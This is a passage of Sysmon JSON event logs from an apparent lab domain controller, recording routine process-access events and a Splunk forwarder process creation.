11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40C1-5F2D-0000-00104DAD0500}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40C1-5F2D-0000-00104DAD0500}","TargetProcessId":"4780","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.996\r\nProcessGuid: {90617006-40C2-5F2D-0000-001099AF0500}\r\nProcessId: 4912\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.996","ProcessGuid":"{90617006-40C2-5F2D-0000-001099AF0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40C2-5F2D-0000-001099AF0500}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40C2-5F2D-0000-001099AF0500}","TargetProcessId":"4912","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40C2-5F2D-0000-001099AF0500}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40C2-5F2D-0000-001099AF0500}","TargetProcessId":"4912","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+